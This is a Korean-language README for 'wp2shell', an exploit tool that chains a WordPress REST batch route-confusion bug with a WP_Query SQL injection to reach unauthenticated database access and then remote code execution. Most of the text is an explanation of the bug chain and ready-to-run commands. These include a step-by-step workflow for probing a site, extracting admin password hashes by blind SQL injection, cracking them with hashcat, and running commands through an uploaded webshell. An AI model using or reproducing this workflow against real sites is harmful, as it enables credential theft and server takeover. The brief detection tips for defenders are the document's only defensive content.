
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
WordPress 코어 POC용 인증 없는 원격 코드 실행 (CVE-2026-63030 + CVE-2026-60137)
wp2shell은 WordPress 코어의 심각한 취약점 체인을 위한 익스플로잇입니다. REST API 배치 경로 혼동(batch route confusion) 버그와 WP_Query의 SQL 인젝션을 연결하여 취약한 WordPress 설치 환경에서 인증 없는 원격 코드 실행을 달성합니다.
| 세부 정보 | 내용 |
|---|---|
| 관련 CVE | CVE-2026-63030 (REST 배치 경로 혼동) + CVE-2026-60137 (author__not_in SQLi) |
| 영향 범위 | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| 패치 버전 | 6.9.5, 7.0.2 |
| 인증 필요 | 없음 — 인증 불필요 |
| CVSS | 치명적 (RCE 체인) |
| 발견자 | Adam Kues (Assetnote / Searchlight Cyber) |
| 의존성 | Python 3.8+ — 표준 라이브러리만 사용 |
이 익스플로잇은 WordPress 코어의 두 가지 버그를 연결합니다:
CVE-2026-60137 — SQL 인젝션 – author__not_in이 배열 대신 문자열로 전달되면 WordPress는 is_array() 검증 가드를 건너뛰고 원시 값을 NOT IN (...) SQL 절에 직접 삽입합니다.
CVE-2026-63030 — 배치 경로 혼동 – /wp-json/batch/v1 엔드포인트는 병렬로 $matches 및 $validation 배열을 생성합니다. 잘못된 형식의 하위 요청은 $matches가 아닌 $validation에 추가되어 +1 인덱스 이동이 발생합니다. 하위 요청 i는 하위 요청 i+1의 핸들러로 디스패치됩니다.
연결된 공격: 내부에 author_exclude 문자열을 포함한 GET /wp/v2/users 요청을 담은 POST /wp/v2/posts 요청이 메서드 허용 목록과 입력 검증을 모두 우회합니다. 이 문자열은 author__not_in으로 WP_Query에 도달해 SQL에 삽입되며 — 인증 없는 블라인드 SQL 인젝션을 가능하게 합니다.
이를 바탕으로 이 도구는 다음을 수행할 수 있습니다:
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
이것으로 끝입니다. 타사 패키지는 필요하지 않습니다.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
번호가 매겨진 옵션을 통해 모든 기능을 사용할 수 있는 대화형 메뉴를 실행합니다.
check — 취약점 확인 (안전)악용 가능 여부를 확인하기 위해 시간 지연 프로브를 수행합니다. 데이터를 읽지 않으며 아무것도 변경하지 않습니다.
./wp2shell.py http://target.com check
read — 데이터 추출 (블라인드 SQL 인젝션)시간 기반 블라인드 SQL 인젝션을 사용하여 데이터베이스에서 정보를 추출합니다.
# 서버 지문 수집 (버전, 데이터베이스, 사용자)
./wp2shell.py http://target.com read
# 사용자 로그인 및 비밀번호 해시 추출
./wp2shell.py http://target.com read --users
# 데이터베이스 이름 추출
./wp2shell.py http://target.com read --database
# MySQL 버전 추출
./wp2shell.py http://target.com read --version
# 사용자 정의 SQL 쿼리
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — 원격 코드 실행유효한 관리자 자격 증명이 필요합니다. SQL 인젝션으로 비밀번호 해시를 복구할 수 있지만, 복구된 평문 비밀번호를 직접 입력해야 합니다.
# 단일 명령 실행
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# 단일 명령 실행 (약식)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. 대상이 취약한지 확인
./wp2shell.py https://example.com check
# 2. 관리자 비밀번호 해시 추출
./wp2shell.py https://example.com read --users
# 3. 해시를 오프라인으로 크래킹 (hashcat, john 등 사용)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. 복구된 비밀번호로 명령 실행
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| 브랜치 | 영향받는 버전 | 패치 버전 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (SQLi만, RCE 없음) | 6.8.6 |
6.9.0 이전 버전은 전체 RCE 체인의 영향을 받지 않습니다.
방어자용:
requests 본문이 포함된 POST /wp-json/batch/v1 요청을 모니터링하세요404가 항상 "패치됨"을 의미하는 것은 아닙니다 — WAF/CDN이 익명 REST API 접근을 차단하고 있을 수도 있습니다이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용해야 합니다.
취약점에 대한 자세한 내용은 Searchlight Cyber 연구 블로그를 참조하세요.
| 기능 | 설명 |
|---|
| 취약점 확인 | 안전한 시간 지연 프로브 — 데이터를 읽지 않으며 아무것도 변경하지 않음 |
| 데이터 추출 | 효율적인 추출을 위한 이진 탐색 최적화가 적용된 블라인드 SQL 인젝션 |
| 사용자 해시 덤프 | wp_users에서 user_login 및 user_pass 해시 추출 |
| 원격 코드 실행 | 관리자로 인증하고 웹셸 플러그인을 업로드하여 명령 실행 |
| 대화형 셸 | 지속적인 명령 실행 세션 |
| 컬러 출력 | 스캔 결과에 대한 명확한 시각적 피드백 |
| 의존성 없음 | Python 표준 라이브러리만 사용 |
| 옵션 | 설명 |
|---|
--users | wp_users에서 user_login 및 user_pass 추출 |
--database | 현재 데이터베이스 이름 추출 |
--version | MySQL 버전 추출 |
--query "SQL" | 사용자 정의 SQL 쿼리 실행 (블라인드 추출) |
--user USER | RCE에 사용할 관리자 사용자 이름 |
--password PASS | RCE에 사용할 관리자 비밀번호 (SQLi로 복구된 평문) |
--cmd CMD | 웹셸을 통해 실행할 명령 |